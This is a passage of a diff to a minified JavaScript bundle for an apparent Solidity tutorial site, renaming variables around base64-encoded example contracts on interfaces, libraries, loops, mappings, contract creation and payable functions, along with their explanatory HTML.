ICAgICAgdmlldwogICAgICAgIHJldHVybnMgKGFkZHJlc3MgcGFpcik7Cn0KCmludGVyZmFjZSBVbmlzd2FwVjJQYWlyIHsKICAgIGZ1bmN0aW9uIGdldFJlc2VydmVzKCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zICh1aW50MTEyIHJlc2VydmUwLCB1aW50MTEyIHJlc2VydmUxLCB1aW50MzIgYmxvY2tUaW1lc3RhbXBMYXN0KTsKfQoKY29udHJhY3QgVW5pc3dhcEV4YW1wbGUgewogICAgYWRkcmVzcyBwcml2YXRlIGZhY3RvcnkgPSAweDVDNjliRWU3MDFlZjgxNGEyQjZhM0VERDRCMTY1MkNCOWNjNWFBNmY7CiAgICBhZGRyZXNzIHByaXZhdGUgZGFpID0gMHg2QjE3NTQ3NEU4OTA5NEM0NERhOThiOTU0RWVkZUFDNDk1MjcxZDBGOwogICAgYWRkcmVzcyBwcml2YXRlIHdldGggPSAweEMwMmFhQTM5YjIyM0ZFOEQwQTBlNUM0RjI3ZUFEOTA4M0M3NTZDYzI7CgogICAgZnVuY3Rpb24gZ2V0VG9rZW5SZXNlcnZlcygpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1NiwgdWludDI1NikgewogICAgICAgIGFkZHJlc3MgcGFpciA9IFVuaXN3YXBWMkZhY3RvcnkoZmFjdG9yeSkuZ2V0UGFpcihkYWksIHdldGgpOwogICAgICAgICh1aW50MjU2IHJlc2VydmUwLCB1aW50MjU2IHJlc2VydmUxLCkgPQogICAgICAgICAgICBVbmlzd2FwVjJQYWlyKHBhaXIpLmdldFJlc2VydmVzKCk7CiAgICAgICAgcmV0dXJuIChyZXNlcnZlMCwgcmVzZXJ2ZTEpOwogICAgfQp9Cg=="}],qZ=`

                                      You can interact with other contracts by declaring an Interface.

                                      Interface

                                      • cannot have any functions implemented
                                        • @@ -11437,7 +11437,7 @@ F D,E return (reserve0, reserve1); } } -`,aW=({prev:s,next:a})=>r.jsx(A,{version:OZ,title:PZ,description:$Z,html:sW,prev:s,next:a,codes:qZ}),nW="0.8.24",lW="Library",pW="Example of how to write and use libraries in your Solidity code",eW=[{fileName:"Library.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmxpYnJhcnkgTWF0aCB7CiAgICBmdW5jdGlvbiBzcXJ0KHVpbnQyNTYgeSkgaW50ZXJuYWwgcHVyZSByZXR1cm5zICh1aW50MjU2IHopIHsKICAgICAgICBpZiAoeSA+IDMpIHsKICAgICAgICAgICAgeiA9IHk7CiAgICAgICAgICAgIHVpbnQyNTYgeCA9IHkgLyAyICsgMTsKICAgICAgICAgICAgd2hpbGUgKHggPCB6KSB7CiAgICAgICAgICAgICAgICB6ID0geDsKICAgICAgICAgICAgICAgIHggPSAoeSAvIHggKyB4KSAvIDI7CiAgICAgICAgICAgIH0KICAgICAgICB9IGVsc2UgaWYgKHkgIT0gMCkgewogICAgICAgICAgICB6ID0gMTsKICAgICAgICB9CiAgICAgICAgLy8gZWxzZSB6ID0gMCAoZGVmYXVsdCB2YWx1ZSkKICAgIH0KfQoKY29udHJhY3QgVGVzdE1hdGggewogICAgZnVuY3Rpb24gdGVzdFNxdWFyZVJvb3QodWludDI1NiB4KSBwdWJsaWMgcHVyZSByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgcmV0dXJuIE1hdGguc3FydCh4KTsKICAgIH0KfQoKLy8gQXJyYXkgZnVuY3Rpb24gdG8gZGVsZXRlIGVsZW1lbnQgYXQgaW5kZXggYW5kIHJlLW9yZ2FuaXplIHRoZSBhcnJheQovLyBzbyB0aGF0IHRoZXJlIGFyZSBubyBnYXBzIGJldHdlZW4gdGhlIGVsZW1lbnRzLgpsaWJyYXJ5IEFycmF5IHsKICAgIGZ1bmN0aW9uIHJlbW92ZSh1aW50MjU2W10gc3RvcmFnZSBhcnIsIHVpbnQyNTYgaW5kZXgpIHB1YmxpYyB7CiAgICAgICAgLy8gTW92ZSB0aGUgbGFzdCBlbGVtZW50IGludG8gdGhlIHBsYWNlIHRvIGRlbGV0ZQogICAgICAgIHJlcXVpcmUoYXJyLmxlbmd0aCA+IDAsICJDYW4ndCByZW1vdmUgZnJvbSBlbXB0eSBhcnJheSIpOwogICAgICAgIGFycltpbmRleF0gPSBhcnJbYXJyLmxlbmd0aCAtIDFdOwogICAgICAgIGFyci5wb3AoKTsKICAgIH0KfQoKY29udHJhY3QgVGVzdEFycmF5IHsKICAgIHVzaW5nIEFycmF5IGZvciB1aW50MjU2W107CgogICAgdWludDI1NltdIHB1YmxpYyBhcnI7CgogICAgZnVuY3Rpb24gdGVzdEFycmF5UmVtb3ZlKCkgcHVibGljIHsKICAgICAgICBmb3IgKHVpbnQyNTYgaSA9IDA7IGkgPCAzOyBpKyspIHsKICAgICAgICAgICAgYXJyLnB1c2goaSk7CiAgICAgICAgfQoKICAgICAgICBhcnIucmVtb3ZlKDEpOwoKICAgICAgICBhc3NlcnQoYXJyLmxlbmd0aCA9PSAyKTsKICAgICAgICBhc3NlcnQoYXJyWzBdID09IDApOwogICAgICAgIGFzc2VydChhcnJbMV0gPT0gMik7CiAgICB9Cn0K"}],cW=`

                                        Libraries are similar to contracts, but you can't declare any state variable and +`,sW=({prev:s,next:a})=>r.jsx(A,{version:LZ,title:OZ,description:PZ,html:qZ,prev:s,next:a,codes:$Z}),aW="0.8.24",nW="Library",lW="Example of how to write and use libraries in your Solidity code",pW=[{fileName:"Library.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmxpYnJhcnkgTWF0aCB7CiAgICBmdW5jdGlvbiBzcXJ0KHVpbnQyNTYgeSkgaW50ZXJuYWwgcHVyZSByZXR1cm5zICh1aW50MjU2IHopIHsKICAgICAgICBpZiAoeSA+IDMpIHsKICAgICAgICAgICAgeiA9IHk7CiAgICAgICAgICAgIHVpbnQyNTYgeCA9IHkgLyAyICsgMTsKICAgICAgICAgICAgd2hpbGUgKHggPCB6KSB7CiAgICAgICAgICAgICAgICB6ID0geDsKICAgICAgICAgICAgICAgIHggPSAoeSAvIHggKyB4KSAvIDI7CiAgICAgICAgICAgIH0KICAgICAgICB9IGVsc2UgaWYgKHkgIT0gMCkgewogICAgICAgICAgICB6ID0gMTsKICAgICAgICB9CiAgICAgICAgLy8gZWxzZSB6ID0gMCAoZGVmYXVsdCB2YWx1ZSkKICAgIH0KfQoKY29udHJhY3QgVGVzdE1hdGggewogICAgZnVuY3Rpb24gdGVzdFNxdWFyZVJvb3QodWludDI1NiB4KSBwdWJsaWMgcHVyZSByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgcmV0dXJuIE1hdGguc3FydCh4KTsKICAgIH0KfQoKLy8gQXJyYXkgZnVuY3Rpb24gdG8gZGVsZXRlIGVsZW1lbnQgYXQgaW5kZXggYW5kIHJlLW9yZ2FuaXplIHRoZSBhcnJheQovLyBzbyB0aGF0IHRoZXJlIGFyZSBubyBnYXBzIGJldHdlZW4gdGhlIGVsZW1lbnRzLgpsaWJyYXJ5IEFycmF5IHsKICAgIGZ1bmN0aW9uIHJlbW92ZSh1aW50MjU2W10gc3RvcmFnZSBhcnIsIHVpbnQyNTYgaW5kZXgpIHB1YmxpYyB7CiAgICAgICAgLy8gTW92ZSB0aGUgbGFzdCBlbGVtZW50IGludG8gdGhlIHBsYWNlIHRvIGRlbGV0ZQogICAgICAgIHJlcXVpcmUoYXJyLmxlbmd0aCA+IDAsICJDYW4ndCByZW1vdmUgZnJvbSBlbXB0eSBhcnJheSIpOwogICAgICAgIGFycltpbmRleF0gPSBhcnJbYXJyLmxlbmd0aCAtIDFdOwogICAgICAgIGFyci5wb3AoKTsKICAgIH0KfQoKY29udHJhY3QgVGVzdEFycmF5IHsKICAgIHVzaW5nIEFycmF5IGZvciB1aW50MjU2W107CgogICAgdWludDI1NltdIHB1YmxpYyBhcnI7CgogICAgZnVuY3Rpb24gdGVzdEFycmF5UmVtb3ZlKCkgcHVibGljIHsKICAgICAgICBmb3IgKHVpbnQyNTYgaSA9IDA7IGkgPCAzOyBpKyspIHsKICAgICAgICAgICAgYXJyLnB1c2goaSk7CiAgICAgICAgfQoKICAgICAgICBhcnIucmVtb3ZlKDEpOwoKICAgICAgICBhc3NlcnQoYXJyLmxlbmd0aCA9PSAyKTsKICAgICAgICBhc3NlcnQoYXJyWzBdID09IDApOwogICAgICAgIGFzc2VydChhcnJbMV0gPT0gMik7CiAgICB9Cn0K"}],eW=`

                                        Libraries are similar to contracts, but you can't declare any state variable and you can't send ether.

                                        A library is embedded into the contract if all library functions are internal.

                                        Otherwise the library must be deployed and then linked before the contract is deployed.

                                        @@ -11494,7 +11494,7 @@ you can't send ether.

                                        assert(arr[1] == 2); } } -`,tW=({prev:s,next:a})=>r.jsx(A,{version:nW,title:lW,description:pW,html:cW,prev:s,next:a,codes:eW}),oW="0.8.24",rW="For and While Loop",iW="Example of for and while loop in Solidity",gW=[{fileName:"Loop.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IExvb3AgewogICAgZnVuY3Rpb24gbG9vcCgpIHB1YmxpYyB7CiAgICAgICAgLy8gZm9yIGxvb3AKICAgICAgICBmb3IgKHVpbnQyNTYgaSA9IDA7IGkgPCAxMDsgaSsrKSB7CiAgICAgICAgICAgIGlmIChpID09IDMpIHsKICAgICAgICAgICAgICAgIC8vIFNraXAgdG8gbmV4dCBpdGVyYXRpb24gd2l0aCBjb250aW51ZQogICAgICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgaWYgKGkgPT0gNSkgewogICAgICAgICAgICAgICAgLy8gRXhpdCBsb29wIHdpdGggYnJlYWsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICAvLyB3aGlsZSBsb29wCiAgICAgICAgdWludDI1NiBqOwogICAgICAgIHdoaWxlIChqIDwgMTApIHsKICAgICAgICAgICAgaisrOwogICAgICAgIH0KICAgIH0KfQo="}],hW=`

                                        Solidity supports for, while, and do while loops.

                                        +`,cW=({prev:s,next:a})=>r.jsx(A,{version:aW,title:nW,description:lW,html:eW,prev:s,next:a,codes:pW}),tW="0.8.24",oW="For and While Loop",rW="Example of for and while loop in Solidity",iW=[{fileName:"Loop.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IExvb3AgewogICAgZnVuY3Rpb24gbG9vcCgpIHB1YmxpYyB7CiAgICAgICAgLy8gZm9yIGxvb3AKICAgICAgICBmb3IgKHVpbnQyNTYgaSA9IDA7IGkgPCAxMDsgaSsrKSB7CiAgICAgICAgICAgIGlmIChpID09IDMpIHsKICAgICAgICAgICAgICAgIC8vIFNraXAgdG8gbmV4dCBpdGVyYXRpb24gd2l0aCBjb250aW51ZQogICAgICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgaWYgKGkgPT0gNSkgewogICAgICAgICAgICAgICAgLy8gRXhpdCBsb29wIHdpdGggYnJlYWsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICAvLyB3aGlsZSBsb29wCiAgICAgICAgdWludDI1NiBqOwogICAgICAgIHdoaWxlIChqIDwgMTApIHsKICAgICAgICAgICAgaisrOwogICAgICAgIH0KICAgIH0KfQo="}],gW=`

                                        Solidity supports for, while, and do while loops.

                                        Don't write loops that are unbounded as this can hit the gas limit, causing your transaction to fail.

                                        For the reason above, while and do while loops are rarely used.

                                        // SPDX-License-Identifier: MIT
@@ -11521,7 +11521,7 @@ you can't send ether.
                                        
         }
     }
 }
-
                                        `,IW=({prev:s,next:a})=>r.jsx(A,{version:oW,title:rW,description:iW,html:hW,prev:s,next:a,codes:gW}),dW="0.8.24",CW="Mapping",jW="Example of using mapping in Solidity",AW=[{fileName:"Mapping.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IE1hcHBpbmcgewogICAgLy8gTWFwcGluZyBmcm9tIGFkZHJlc3MgdG8gdWludAogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQyNTYpIHB1YmxpYyBteU1hcDsKCiAgICBmdW5jdGlvbiBnZXQoYWRkcmVzcyBfYWRkcikgcHVibGljIHZpZXcgcmV0dXJucyAodWludDI1NikgewogICAgICAgIC8vIE1hcHBpbmcgYWx3YXlzIHJldHVybnMgYSB2YWx1ZS4KICAgICAgICAvLyBJZiB0aGUgdmFsdWUgd2FzIG5ldmVyIHNldCwgaXQgd2lsbCByZXR1cm4gdGhlIGRlZmF1bHQgdmFsdWUuCiAgICAgICAgcmV0dXJuIG15TWFwW19hZGRyXTsKICAgIH0KCiAgICBmdW5jdGlvbiBzZXQoYWRkcmVzcyBfYWRkciwgdWludDI1NiBfaSkgcHVibGljIHsKICAgICAgICAvLyBVcGRhdGUgdGhlIHZhbHVlIGF0IHRoaXMgYWRkcmVzcwogICAgICAgIG15TWFwW19hZGRyXSA9IF9pOwogICAgfQoKICAgIGZ1bmN0aW9uIHJlbW92ZShhZGRyZXNzIF9hZGRyKSBwdWJsaWMgewogICAgICAgIC8vIFJlc2V0IHRoZSB2YWx1ZSB0byB0aGUgZGVmYXVsdCB2YWx1ZS4KICAgICAgICBkZWxldGUgbXlNYXBbX2FkZHJdOwogICAgfQp9Cgpjb250cmFjdCBOZXN0ZWRNYXBwaW5nIHsKICAgIC8vIE5lc3RlZCBtYXBwaW5nIChtYXBwaW5nIGZyb20gYWRkcmVzcyB0byBhbm90aGVyIG1hcHBpbmcpCiAgICBtYXBwaW5nKGFkZHJlc3MgPT4gbWFwcGluZyh1aW50MjU2ID0+IGJvb2wpKSBwdWJsaWMgbmVzdGVkOwoKICAgIGZ1bmN0aW9uIGdldChhZGRyZXNzIF9hZGRyMSwgdWludDI1NiBfaSkgcHVibGljIHZpZXcgcmV0dXJucyAoYm9vbCkgewogICAgICAgIC8vIFlvdSBjYW4gZ2V0IHZhbHVlcyBmcm9tIGEgbmVzdGVkIG1hcHBpbmcKICAgICAgICAvLyBldmVuIHdoZW4gaXQgaXMgbm90IGluaXRpYWxpemVkCiAgICAgICAgcmV0dXJuIG5lc3RlZFtfYWRkcjFdW19pXTsKICAgIH0KCiAgICBmdW5jdGlvbiBzZXQoYWRkcmVzcyBfYWRkcjEsIHVpbnQyNTYgX2ksIGJvb2wgX2JvbykgcHVibGljIHsKICAgICAgICBuZXN0ZWRbX2FkZHIxXVtfaV0gPSBfYm9vOwogICAgfQoKICAgIGZ1bmN0aW9uIHJlbW92ZShhZGRyZXNzIF9hZGRyMSwgdWludDI1NiBfaSkgcHVibGljIHsKICAgICAgICBkZWxldGUgbmVzdGVkW19hZGRyMV1bX2ldOwogICAgfQp9Cg=="}],uW=`

                                        Maps are created with the syntax mapping(keyType => valueType).

                                        +`,hW=({prev:s,next:a})=>r.jsx(A,{version:tW,title:oW,description:rW,html:gW,prev:s,next:a,codes:iW}),IW="0.8.24",dW="Mapping",CW="Example of using mapping in Solidity",jW=[{fileName:"Mapping.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IE1hcHBpbmcgewogICAgLy8gTWFwcGluZyBmcm9tIGFkZHJlc3MgdG8gdWludAogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQyNTYpIHB1YmxpYyBteU1hcDsKCiAgICBmdW5jdGlvbiBnZXQoYWRkcmVzcyBfYWRkcikgcHVibGljIHZpZXcgcmV0dXJucyAodWludDI1NikgewogICAgICAgIC8vIE1hcHBpbmcgYWx3YXlzIHJldHVybnMgYSB2YWx1ZS4KICAgICAgICAvLyBJZiB0aGUgdmFsdWUgd2FzIG5ldmVyIHNldCwgaXQgd2lsbCByZXR1cm4gdGhlIGRlZmF1bHQgdmFsdWUuCiAgICAgICAgcmV0dXJuIG15TWFwW19hZGRyXTsKICAgIH0KCiAgICBmdW5jdGlvbiBzZXQoYWRkcmVzcyBfYWRkciwgdWludDI1NiBfaSkgcHVibGljIHsKICAgICAgICAvLyBVcGRhdGUgdGhlIHZhbHVlIGF0IHRoaXMgYWRkcmVzcwogICAgICAgIG15TWFwW19hZGRyXSA9IF9pOwogICAgfQoKICAgIGZ1bmN0aW9uIHJlbW92ZShhZGRyZXNzIF9hZGRyKSBwdWJsaWMgewogICAgICAgIC8vIFJlc2V0IHRoZSB2YWx1ZSB0byB0aGUgZGVmYXVsdCB2YWx1ZS4KICAgICAgICBkZWxldGUgbXlNYXBbX2FkZHJdOwogICAgfQp9Cgpjb250cmFjdCBOZXN0ZWRNYXBwaW5nIHsKICAgIC8vIE5lc3RlZCBtYXBwaW5nIChtYXBwaW5nIGZyb20gYWRkcmVzcyB0byBhbm90aGVyIG1hcHBpbmcpCiAgICBtYXBwaW5nKGFkZHJlc3MgPT4gbWFwcGluZyh1aW50MjU2ID0+IGJvb2wpKSBwdWJsaWMgbmVzdGVkOwoKICAgIGZ1bmN0aW9uIGdldChhZGRyZXNzIF9hZGRyMSwgdWludDI1NiBfaSkgcHVibGljIHZpZXcgcmV0dXJucyAoYm9vbCkgewogICAgICAgIC8vIFlvdSBjYW4gZ2V0IHZhbHVlcyBmcm9tIGEgbmVzdGVkIG1hcHBpbmcKICAgICAgICAvLyBldmVuIHdoZW4gaXQgaXMgbm90IGluaXRpYWxpemVkCiAgICAgICAgcmV0dXJuIG5lc3RlZFtfYWRkcjFdW19pXTsKICAgIH0KCiAgICBmdW5jdGlvbiBzZXQoYWRkcmVzcyBfYWRkcjEsIHVpbnQyNTYgX2ksIGJvb2wgX2JvbykgcHVibGljIHsKICAgICAgICBuZXN0ZWRbX2FkZHIxXVtfaV0gPSBfYm9vOwogICAgfQoKICAgIGZ1bmN0aW9uIHJlbW92ZShhZGRyZXNzIF9hZGRyMSwgdWludDI1NiBfaSkgcHVibGljIHsKICAgICAgICBkZWxldGUgbmVzdGVkW19hZGRyMV1bX2ldOwogICAgfQp9Cg=="}],AW=`

                                        Maps are created with the syntax mapping(keyType => valueType).

                                        The keyType can be any built-in value type, bytes, string, or any contract.

                                        valueType can be any type including another mapping or an array.

                                        Mappings are not iterable.

                                        @@ -11567,7 +11567,7 @@ you can't send ether.

                                        delete nested[_addr1][_i]; } } -`,yW=({prev:s,next:a})=>r.jsx(A,{version:dW,title:CW,description:jW,html:uW,prev:s,next:a,codes:AW}),mW="0.8.24",bW="Contract that Creates other Contracts",wW="Learn how to create new contracts from inside of a contract with Solidity",kW=[{fileName:"NewContract.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IENhciB7CiAgICBhZGRyZXNzIHB1YmxpYyBvd25lcjsKICAgIHN0cmluZyBwdWJsaWMgbW9kZWw7CiAgICBhZGRyZXNzIHB1YmxpYyBjYXJBZGRyOwoKICAgIGNvbnN0cnVjdG9yKGFkZHJlc3MgX293bmVyLCBzdHJpbmcgbWVtb3J5IF9tb2RlbCkgcGF5YWJsZSB7CiAgICAgICAgb3duZXIgPSBfb3duZXI7CiAgICAgICAgbW9kZWwgPSBfbW9kZWw7CiAgICAgICAgY2FyQWRkciA9IGFkZHJlc3ModGhpcyk7CiAgICB9Cn0KCmNvbnRyYWN0IENhckZhY3RvcnkgewogICAgQ2FyW10gcHVibGljIGNhcnM7CgogICAgZnVuY3Rpb24gY3JlYXRlKGFkZHJlc3MgX293bmVyLCBzdHJpbmcgbWVtb3J5IF9tb2RlbCkgcHVibGljIHsKICAgICAgICBDYXIgY2FyID0gbmV3IENhcihfb3duZXIsIF9tb2RlbCk7CiAgICAgICAgY2Fycy5wdXNoKGNhcik7CiAgICB9CgogICAgZnVuY3Rpb24gY3JlYXRlQW5kU2VuZEV0aGVyKGFkZHJlc3MgX293bmVyLCBzdHJpbmcgbWVtb3J5IF9tb2RlbCkKICAgICAgICBwdWJsaWMKICAgICAgICBwYXlhYmxlCiAgICB7CiAgICAgICAgQ2FyIGNhciA9IChuZXcgQ2FyKXt2YWx1ZTogbXNnLnZhbHVlfShfb3duZXIsIF9tb2RlbCk7CiAgICAgICAgY2Fycy5wdXNoKGNhcik7CiAgICB9CgogICAgZnVuY3Rpb24gY3JlYXRlMihhZGRyZXNzIF9vd25lciwgc3RyaW5nIG1lbW9yeSBfbW9kZWwsIGJ5dGVzMzIgX3NhbHQpCiAgICAgICAgcHVibGljCiAgICB7CiAgICAgICAgQ2FyIGNhciA9IChuZXcgQ2FyKXtzYWx0OiBfc2FsdH0oX293bmVyLCBfbW9kZWwpOwogICAgICAgIGNhcnMucHVzaChjYXIpOwogICAgfQoKICAgIGZ1bmN0aW9uIGNyZWF0ZTJBbmRTZW5kRXRoZXIoCiAgICAgICAgYWRkcmVzcyBfb3duZXIsCiAgICAgICAgc3RyaW5nIG1lbW9yeSBfbW9kZWwsCiAgICAgICAgYnl0ZXMzMiBfc2FsdAogICAgKSBwdWJsaWMgcGF5YWJsZSB7CiAgICAgICAgQ2FyIGNhciA9IChuZXcgQ2FyKXt2YWx1ZTogbXNnLnZhbHVlLCBzYWx0OiBfc2FsdH0oX293bmVyLCBfbW9kZWwpOwogICAgICAgIGNhcnMucHVzaChjYXIpOwogICAgfQoKICAgIGZ1bmN0aW9uIGdldENhcih1aW50MjU2IF9pbmRleCkKICAgICAgICBwdWJsaWMKICAgICAgICB2aWV3CiAgICAgICAgcmV0dXJucyAoCiAgICAgICAgICAgIGFkZHJlc3Mgb3duZXIsCiAgICAgICAgICAgIHN0cmluZyBtZW1vcnkgbW9kZWwsCiAgICAgICAgICAgIGFkZHJlc3MgY2FyQWRkciwKICAgICAgICAgICAgdWludDI1NiBiYWxhbmNlCiAgICAgICAgKQogICAgewogICAgICAgIENhciBjYXIgPSBjYXJzW19pbmRleF07CgogICAgICAgIHJldHVybiAoY2FyLm93bmVyKCksIGNhci5tb2RlbCgpLCBjYXIuY2FyQWRkcigpLCBhZGRyZXNzKGNhcikuYmFsYW5jZSk7CiAgICB9Cn0K"}],ZW=`

                                        Contracts can be created by other contracts using the new keyword. Since 0.8.0, new keyword supports create2 feature by specifying salt options.

                                        +`,uW=({prev:s,next:a})=>r.jsx(A,{version:IW,title:dW,description:CW,html:AW,prev:s,next:a,codes:jW}),yW="0.8.24",mW="Contract that Creates other Contracts",bW="Learn how to create new contracts from inside of a contract with Solidity",wW=[{fileName:"NewContract.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IENhciB7CiAgICBhZGRyZXNzIHB1YmxpYyBvd25lcjsKICAgIHN0cmluZyBwdWJsaWMgbW9kZWw7CiAgICBhZGRyZXNzIHB1YmxpYyBjYXJBZGRyOwoKICAgIGNvbnN0cnVjdG9yKGFkZHJlc3MgX293bmVyLCBzdHJpbmcgbWVtb3J5IF9tb2RlbCkgcGF5YWJsZSB7CiAgICAgICAgb3duZXIgPSBfb3duZXI7CiAgICAgICAgbW9kZWwgPSBfbW9kZWw7CiAgICAgICAgY2FyQWRkciA9IGFkZHJlc3ModGhpcyk7CiAgICB9Cn0KCmNvbnRyYWN0IENhckZhY3RvcnkgewogICAgQ2FyW10gcHVibGljIGNhcnM7CgogICAgZnVuY3Rpb24gY3JlYXRlKGFkZHJlc3MgX293bmVyLCBzdHJpbmcgbWVtb3J5IF9tb2RlbCkgcHVibGljIHsKICAgICAgICBDYXIgY2FyID0gbmV3IENhcihfb3duZXIsIF9tb2RlbCk7CiAgICAgICAgY2Fycy5wdXNoKGNhcik7CiAgICB9CgogICAgZnVuY3Rpb24gY3JlYXRlQW5kU2VuZEV0aGVyKGFkZHJlc3MgX293bmVyLCBzdHJpbmcgbWVtb3J5IF9tb2RlbCkKICAgICAgICBwdWJsaWMKICAgICAgICBwYXlhYmxlCiAgICB7CiAgICAgICAgQ2FyIGNhciA9IChuZXcgQ2FyKXt2YWx1ZTogbXNnLnZhbHVlfShfb3duZXIsIF9tb2RlbCk7CiAgICAgICAgY2Fycy5wdXNoKGNhcik7CiAgICB9CgogICAgZnVuY3Rpb24gY3JlYXRlMihhZGRyZXNzIF9vd25lciwgc3RyaW5nIG1lbW9yeSBfbW9kZWwsIGJ5dGVzMzIgX3NhbHQpCiAgICAgICAgcHVibGljCiAgICB7CiAgICAgICAgQ2FyIGNhciA9IChuZXcgQ2FyKXtzYWx0OiBfc2FsdH0oX293bmVyLCBfbW9kZWwpOwogICAgICAgIGNhcnMucHVzaChjYXIpOwogICAgfQoKICAgIGZ1bmN0aW9uIGNyZWF0ZTJBbmRTZW5kRXRoZXIoCiAgICAgICAgYWRkcmVzcyBfb3duZXIsCiAgICAgICAgc3RyaW5nIG1lbW9yeSBfbW9kZWwsCiAgICAgICAgYnl0ZXMzMiBfc2FsdAogICAgKSBwdWJsaWMgcGF5YWJsZSB7CiAgICAgICAgQ2FyIGNhciA9IChuZXcgQ2FyKXt2YWx1ZTogbXNnLnZhbHVlLCBzYWx0OiBfc2FsdH0oX293bmVyLCBfbW9kZWwpOwogICAgICAgIGNhcnMucHVzaChjYXIpOwogICAgfQoKICAgIGZ1bmN0aW9uIGdldENhcih1aW50MjU2IF9pbmRleCkKICAgICAgICBwdWJsaWMKICAgICAgICB2aWV3CiAgICAgICAgcmV0dXJucyAoCiAgICAgICAgICAgIGFkZHJlc3Mgb3duZXIsCiAgICAgICAgICAgIHN0cmluZyBtZW1vcnkgbW9kZWwsCiAgICAgICAgICAgIGFkZHJlc3MgY2FyQWRkciwKICAgICAgICAgICAgdWludDI1NiBiYWxhbmNlCiAgICAgICAgKQogICAgewogICAgICAgIENhciBjYXIgPSBjYXJzW19pbmRleF07CgogICAgICAgIHJldHVybiAoY2FyLm93bmVyKCksIGNhci5tb2RlbCgpLCBjYXIuY2FyQWRkcigpLCBhZGRyZXNzKGNhcikuYmFsYW5jZSk7CiAgICB9Cn0K"}],kW=`

                                        Contracts can be created by other contracts using the new keyword. Since 0.8.0, new keyword supports create2 feature by specifying salt options.

                                        // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
 
@@ -11630,7 +11630,7 @@ you can't send ether.
                                        
         return (car.owner(), car.model(), car.carAddr(), address(car).balance);
     }
 }
-
                                        `,WW=({prev:s,next:a})=>r.jsx(A,{version:mW,title:bW,description:wW,html:ZW,prev:s,next:a,codes:kW}),BW="0.8.24",GW="Payable",VW="An example of how to use the keyword payable in Solidity",fW=[{fileName:"Payable.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFBheWFibGUgewogICAgLy8gUGF5YWJsZSBhZGRyZXNzIGNhbiBzZW5kIEV0aGVyIHZpYSB0cmFuc2ZlciBvciBzZW5kCiAgICBhZGRyZXNzIHBheWFibGUgcHVibGljIG93bmVyOwoKICAgIC8vIFBheWFibGUgY29uc3RydWN0b3IgY2FuIHJlY2VpdmUgRXRoZXIKICAgIGNvbnN0cnVjdG9yKCkgcGF5YWJsZSB7CiAgICAgICAgb3duZXIgPSBwYXlhYmxlKG1zZy5zZW5kZXIpOwogICAgfQoKICAgIC8vIEZ1bmN0aW9uIHRvIGRlcG9zaXQgRXRoZXIgaW50byB0aGlzIGNvbnRyYWN0LgogICAgLy8gQ2FsbCB0aGlzIGZ1bmN0aW9uIGFsb25nIHdpdGggc29tZSBFdGhlci4KICAgIC8vIFRoZSBiYWxhbmNlIG9mIHRoaXMgY29udHJhY3Qgd2lsbCBiZSBhdXRvbWF0aWNhbGx5IHVwZGF0ZWQuCiAgICBmdW5jdGlvbiBkZXBvc2l0KCkgcHVibGljIHBheWFibGUge30KCiAgICAvLyBDYWxsIHRoaXMgZnVuY3Rpb24gYWxvbmcgd2l0aCBzb21lIEV0aGVyLgogICAgLy8gVGhlIGZ1bmN0aW9uIHdpbGwgdGhyb3cgYW4gZXJyb3Igc2luY2UgdGhpcyBmdW5jdGlvbiBpcyBub3QgcGF5YWJsZS4KICAgIGZ1bmN0aW9uIG5vdFBheWFibGUoKSBwdWJsaWMge30KCiAgICAvLyBGdW5jdGlvbiB0byB3aXRoZHJhdyBhbGwgRXRoZXIgZnJvbSB0aGlzIGNvbnRyYWN0LgogICAgZnVuY3Rpb24gd2l0aGRyYXcoKSBwdWJsaWMgewogICAgICAgIC8vIGdldCB0aGUgYW1vdW50IG9mIEV0aGVyIHN0b3JlZCBpbiB0aGlzIGNvbnRyYWN0CiAgICAgICAgdWludDI1NiBhbW91bnQgPSBhZGRyZXNzKHRoaXMpLmJhbGFuY2U7CgogICAgICAgIC8vIHNlbmQgYWxsIEV0aGVyIHRvIG93bmVyCiAgICAgICAgKGJvb2wgc3VjY2VzcywpID0gb3duZXIuY2FsbHt2YWx1ZTogYW1vdW50fSgiIik7CiAgICAgICAgcmVxdWlyZShzdWNjZXNzLCAiRmFpbGVkIHRvIHNlbmQgRXRoZXIiKTsKICAgIH0KCiAgICAvLyBGdW5jdGlvbiB0byB0